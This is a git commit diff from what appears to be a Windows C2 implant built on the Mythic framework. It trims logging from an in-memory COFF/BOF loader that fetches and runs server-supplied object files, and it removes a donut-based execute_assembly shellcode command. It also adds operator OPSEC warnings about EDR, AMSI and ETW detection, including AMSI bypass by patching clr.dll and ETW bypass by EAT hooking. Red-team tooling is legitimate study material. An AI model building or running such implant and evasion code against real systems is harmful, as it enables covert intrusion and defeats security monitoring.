Bof and assemblies completed

This commit is contained in:
marcos.luna
2025-12-16 14:22:51 +01:00
parent e45375cbd5
commit 9351102878
18 changed files with 372 additions and 544 deletions
@@ -193,12 +193,6 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
// But if called directly, we'll handle it here
_wrn("inline_execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else if (tarea == EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python (inject_shellcode)
// But if called directly, we'll handle it here
_wrn("execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else {
_wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
@@ -67,7 +67,6 @@
/* BOF and Assembly execution commands */
#define INLINE_EXECUTE_CMD 0x70
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
#define EXECUTE_ASSEMBLY_CMD 0x72
/* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5
@@ -35,7 +35,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
return 1;
}
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
threadArgs->completed = FALSE;
threadArgs->success = FALSE;
@@ -45,7 +44,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
threadArgs->success = result;
threadArgs->completed = TRUE;
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
return result ? 0 : 1;
}
@@ -75,8 +73,6 @@ void BeaconPrintf(int type, char* fmt, ...) {
beacon_output_size += length;
beacon_output_offset += length;
va_end(args);
_inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
}
// BeaconOutput - Capture raw output from BOFs
@@ -94,8 +90,6 @@ void BeaconOutput(int type, char* data, int len) {
memcpy(beacon_output_buffer + beacon_output_offset, data, len);
beacon_output_size += len;
beacon_output_offset += len;
_inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
}
// BeaconGetOutputData - Get captured output (caller must free)
@@ -185,7 +179,6 @@ BOOL BeaconIsAdmin(void) {
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
#define CHUNK_SIZE 512000 // 512 KB
_inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
DWORD status = 0;
PBYTE dataBuffer = NULL;
@@ -330,7 +323,6 @@ DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
bof->size = totalBytesRead;
bof->totalChunks = totalChunks;
_inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
return 0;
cleanup:
@@ -500,12 +492,9 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
return FALSE;
}
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
_inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
func, counter, foo, COFF->SymbolTable[counter].Value);
break;
}
}
@@ -516,12 +505,7 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
}
// Execute the BOF
// Execute the BOF
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
// The BOF should handle its own errors gracefully
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
foo((char*)args, (UINT32)argSize);
_inf("[ExecuteEntry] Entry point '%s' completado", func);
return TRUE;
}
@@ -639,7 +623,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
}
// Execute the BOF
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
// Cleanup
@@ -652,7 +635,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
return FALSE;
}
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
// Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
@@ -709,12 +691,9 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
if (!argsJson || argsJsonLen == 0) {
*outBuffer = NULL;
*outSize = 0;
_inf("[ParseBOFArguments] No arguments provided");
return TRUE; // No arguments is valid
}
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
// Check for empty array []
PCHAR p = argsJson;
PCHAR end = argsJson + argsJsonLen;
@@ -726,7 +705,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
// Empty array
*outBuffer = NULL;
*outSize = 0;
_inf("[ParseBOFArguments] Empty array, no arguments");
return TRUE;
}
}
@@ -841,20 +819,16 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
}
memcpy(buffer + offset, &val, 2);
offset += 2;
_inf("[ParseBOFArguments] Packed int16: %d", val);
} else if (strcmp(typeBuf, "int32") == 0) {
INT32 val = 0;
// Handle boolean values (true/false) and numeric values
// First check for unquoted boolean literals
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
val = 1;
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
val = 0;
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
} else {
val = (INT32)atoi(valueStart);
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
}
if (offset + 4 > bufferSize) {
LocalFree(buffer);
@@ -862,7 +836,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
}
memcpy(buffer + offset, &val, 4);
offset += 4;
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
} else if (strcmp(typeBuf, "string") == 0) {
if (offset + 4 + valueLen + 1 > bufferSize) {
LocalFree(buffer);
@@ -874,7 +847,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
memcpy(buffer + offset, valueStart, valueLen);
offset += valueLen;
buffer[offset++] = '\0';
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "wchar") == 0) {
// Convert to wide string (UTF-16)
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
@@ -894,7 +866,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
WCHAR nullTerm = 0;
memcpy(buffer + offset, &nullTerm, 2);
offset += 2;
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "base64") == 0) {
// Decode base64
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
@@ -935,7 +906,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
LocalFree(b64Str);
LocalFree(decoded);
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
} else if (strcmp(typeBuf, "bytes") == 0) {
// Convert hex string to bytes
PBYTE bytes = NULL;
@@ -965,7 +935,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
offset += bytesLen;
LocalFree(bytes);
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
} else {
// Unknown type - skip or error?
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
@@ -984,7 +953,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
buffer = NULL;
}
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
*outBuffer = buffer;
*outSize = offset;
return TRUE;
@@ -994,7 +962,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
* InlineExecuteHandler - Main handler for inline_execute command
*/
VOID InlineExecuteHandler(PAnalizador argumentos) {
_inf("===== InlineExecuteHandler INICIO =====");
// Read task UUID
SIZE_T uuidLen = 36;
@@ -1018,8 +985,6 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
SIZE_T argsLen = 0;
PBYTE argsBuffer = getBytes(argumentos, &argsLen);
_inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
36, taskUuid, (int)fileIdLen, fileId, argsLen);
// Create response package
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
@@ -1054,9 +1019,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
PBYTE bofArgs = NULL;
SIZE_T bofArgsSize = 0;
if (argsBuffer && argsLen > 0) {
_inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
// We just need to replace the first 4 bytes with the total size
bofArgs = argsBuffer; // Use the buffer directly
bofArgsSize = argsLen;
@@ -1064,9 +1027,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
// Replace first 4 bytes with total size (including the 4-byte header)
UINT32 totalSize = (UINT32)bofArgsSize;
memcpy(bofArgs, &totalSize, 4);
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
} else {
_inf("[inline_execute] No hay argumentos");
bofArgs = NULL;
bofArgsSize = 0;
if (argsBuffer) {
@@ -1082,53 +1043,9 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
}
beacon_output_size = 0;
beacon_output_offset = 0;
_inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
// Execute the BOF
DWORD fileSize = (DWORD)bof.size;
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
_inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
// Log argument structure for debugging (first 100 bytes)
if (bofArgs && bofArgsSize > 0) {
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
// Log only summary of arguments (reduced verbosity to prevent log blocking)
if (bofArgsSize >= 4) {
UINT32* ptr = (UINT32*)bofArgs;
SIZE_T offset = 4;
if (offset + 4 <= bofArgsSize) {
UINT32 bytesLen = ptr[1];
offset += 4 + bytesLen;
if (offset + 4 <= bofArgsSize) {
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4 + wcharLen;
if (offset + 4 <= bofArgsSize) {
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
}
}
}
}
}
}
}
}
// Execute the BOF in a separate thread to prevent agent blocking
// This allows the agent to continue even if the BOF hangs or crashes
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
bof.buffer, fileSize, bofArgs, bofArgsSize);
// Prepare thread arguments
BOF_THREAD_ARGS threadArgs = {0};
@@ -1157,26 +1074,17 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
// Wait for BOF execution with timeout (30 seconds)
DWORD timeoutMs = 30000; // 30 seconds
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
BOOL bofSuccess = FALSE;
if (waitResult == WAIT_OBJECT_0) {
// Thread completed
_inf("[inline_execute] Thread del BOF completó exitosamente");
bofSuccess = threadArgs.success;
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
threadArgs.success, threadArgs.completed);
} else if (waitResult == WAIT_TIMEOUT) {
// Thread timed out - BOF is hanging
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
_inf("[inline_execute] Intentando terminar thread colgado...");
// Try to terminate the thread (not ideal, but necessary to unblock agent)
if (TerminateThread(hThread, 1)) {
_inf("[inline_execute] Thread terminado exitosamente");
} else {
if (!TerminateThread(hThread, 1)) {
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
}
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
@@ -1,220 +0,0 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import logging
import os
import tempfile
logging.basicConfig(level=logging.INFO)
class ExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="assembly_name",
cli_name="Assembly",
display_name="Assembly",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]),
CommandParameter(
name="assembly_file",
display_name="New Assembly",
type=ParameterType.File,
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New Assembly",
ui_position=1,
)
]
),
CommandParameter(
name="assembly_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.String,
description="Arguments to pass to the assembly.",
default_value="",
parameter_group_info=[
ParameterGroupInfo(
required=True, group_name="Default", ui_position=2,
),
ParameterGroupInfo(
required=True, group_name="New Assembly", ui_position=2
),
],
),
]
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".exe"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
class ExecuteAssemblyCommand(CommandBase):
cmd = "execute_assembly"
needs_admin = False
help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
script_only = True
attackmapping = []
argument_class = ExecuteAssemblyArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New Assembly":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("assembly_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
taskData.args.remove_arg("assembly_file")
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("assembly_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
taskData.args.remove_arg("assembly_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
# Get the file contents of the .NET assembly
assembly_contents = await SendMythicRPCFileGetContent(
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
)
# Try to import donut - required for execute_assembly
try:
import donut
except ImportError:
raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
# Need a physical path for donut.create()
fd, temppath = tempfile.mkstemp(suffix='.exe')
logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
with os.fdopen(fd, 'wb') as tmp:
tmp.write(assembly_contents.Content)
# Bypass=None, ExitOption=exit process
assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
# Clean up temp file
os.remove(temppath)
logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
# .NET shellcode stub in Mythic
shellcode_file_resp = await SendMythicRPCFileCreate(
MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
)
if shellcode_file_resp.Success:
shellcode_file_uuid = shellcode_file_resp.AgentFileId
else:
raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
# Send subtask to inject shellcode
# Note: This requires an inject_shellcode command to exist
# For now, we'll just register the file and note that inject_shellcode needs to be implemented
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inject_shellcode",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"shellcode_file": shellcode_file_uuid,
"method": "default"
}),
Token=taskData.Task.TokenID,
)
)
return response
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -313,6 +313,67 @@ class InlineExecuteCommand(CommandBase):
return response
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about BOF execution risks.
"""
message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n"
message += "BOF (Beacon Object File) execution is monitored by:\n"
message += " • EDR/XDR solutions (memory allocation monitoring)\n"
message += " • API call monitoring (LoadLibraryA, GetProcAddress)\n"
message += " • Memory scanning (executable page allocation)\n"
message += " • Symbol resolution tracking\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • PAGE_EXECUTE_READWRITE memory allocation\n"
message += " • External symbol resolution (LoadLibraryA/GetProcAddress)\n"
message += " • COFF loader activity patterns\n"
message += " • Beacon API function calls\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • In-process execution reduces some detection vectors (no new process)\n"
message += " • Better OPSEC than `shell` (no cmd.exe spawn)\n"
message += " • Memory allocation may be scanned by EDR\n"
message += " • API calls may be logged by security tools\n\n"
message += "⚠️ DETECTION RISK: MEDIUM\n"
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False, # Medium risk, don't block
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Create: BOF execution in current process\n"
message += " • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n"
message += " • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n"
message += "💡 ARTIFACT DETAILS:\n"
message += " • Process Create artifact is logged in Mythic\n"
message += " • Memory allocation may be detected by EDR memory scanning\n"
message += " • API calls may be logged by security tools\n\n"
message += "✅ Review artifacts in the Artifacts tab after execution."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostMessage=message
)
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -269,6 +269,130 @@ class InlineExecuteAssemblyCommand(CommandBase):
alias=True
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about .NET assembly execution risks, especially with bypass flags.
"""
# Check if bypass flags are enabled
amsi_enabled = taskData.args.get_arg("amsi") or False
etw_enabled = taskData.args.get_arg("etw") or False
patch_exit_enabled = taskData.args.get_arg("patch_exit") or False
blocked = False
message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n"
message += ".NET assembly execution is monitored by:\n"
message += " • EDR/XDR solutions (CLR loading detection)\n"
message += " • AMSI (Anti-Malware Scan Interface)\n"
message += " • ETW (Event Tracing for Windows)\n"
message += " • Memory scanning (executable page allocation)\n"
message += " • Behavioral analysis engines\n\n"
if amsi_enabled or etw_enabled:
message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n"
message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n"
if amsi_enabled:
message += " • --amsi: AMSI bypass by patching clr.dll\n"
message += " - Patching clr.dll may trigger behavioral detections\n"
message += " - More evasive than patching amsi.dll, but still detectable\n"
message += " - Advanced EDR solutions monitor CLR modifications\n\n"
if etw_enabled:
message += " • --etw: ETW bypass via EAT hooking\n"
message += " - EAT hooking advapi32.dll!EventWrite is monitored\n"
message += " - Advanced EDR solutions detect export table modifications\n"
message += " - May trigger immediate alerts\n\n"
message += "🔍 BYPASS DETECTION MECHANISMS:\n"
message += " • CLR DLL patching detection\n"
message += " • Export Address Table (EAT) hooking detection\n"
message += " • Behavioral analysis of bypass techniques\n"
message += " • Memory integrity checks\n\n"
message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n"
message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n"
# Block if both bypasses are enabled
if amsi_enabled and etw_enabled:
blocked = True
message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n"
message += "This combination has very high detection risk.\n"
message += "Consider using only one bypass or none if possible.\n\n"
else:
message += "🔍 DETECTION MECHANISMS:\n"
message += " • CLR loading into memory\n"
message += " • .NET assembly reflection/loading\n"
message += " • Memory allocation (executable pages)\n"
message += " • Assembly execution patterns\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • In-process execution reduces detection vectors (no process injection)\n"
message += " • Better OPSEC than process spawning (no new process creation)\n"
message += " • CLR loading may be detected by EDR\n"
message += " • Memory allocation may be scanned\n\n"
message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n"
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
if patch_exit_enabled:
message += " • --patchexit: Prevents assembly from exiting (recommended)\n\n"
message += "💡 ALTERNATIVES:\n"
message += " • Use `inline_execute` for BOFs (lower detection risk)\n"
message += " • Consider executing assemblies without bypass flags first\n\n"
if not blocked:
message += "✅ This is a WARNING only - command will proceed.\n"
else:
message += "❌ This command is BLOCKED due to high detection risk.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=blocked,
OpsecPreBypassRole="other_operator" if blocked else "operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
amsi_enabled = taskData.args.get_arg("amsi") or False
etw_enabled = taskData.args.get_arg("etw") or False
message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Create: .NET assembly execution in-process\n"
message += " • CLR Loading: .NET Common Language Runtime loaded into memory\n"
message += " • Memory Allocation: Executable memory pages for assembly\n"
if amsi_enabled:
message += " • AMSI Bypass: clr.dll patching (high detection risk)\n"
if etw_enabled:
message += " • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n"
message += "\n💡 ARTIFACT DETAILS:\n"
message += " • Process Create artifact is logged in Mythic\n"
message += " • CLR loading may be detected by EDR\n"
message += " • Memory allocation may be scanned by EDR memory protection\n"
if amsi_enabled or etw_enabled:
message += " • Bypass techniques may trigger immediate behavioral alerts\n"
message += "\n✅ Review artifacts in the Artifacts tab after execution."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
+1 -2
View File
@@ -12,5 +12,4 @@ charset_normalizer==3.3.2
pycryptodome==3.19.0
# Optional dependencies:
# donut-shellcode - Required only for execute_assembly command
# Install with: pip install donut-shellcode
# (None at this time)
@@ -43,8 +43,7 @@ commands = {
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
# BOF and Assembly execution commands
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"},
"execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}
}
def responseTasking(tasks):
@@ -272,12 +271,11 @@ def responseTasking(tasks):
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
elif commands[command_to_run]["input_type"] == "assembly_special":
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
# inline_execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
# For execute_assembly, it also uses subtasks
# These commands are handled via subtasks in Python, so they may not reach here directly
# But we'll handle them if they do
# This command is handled via subtasks in Python, so it may not reach here directly
# But we'll handle it if it does
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
data = command_code + task_id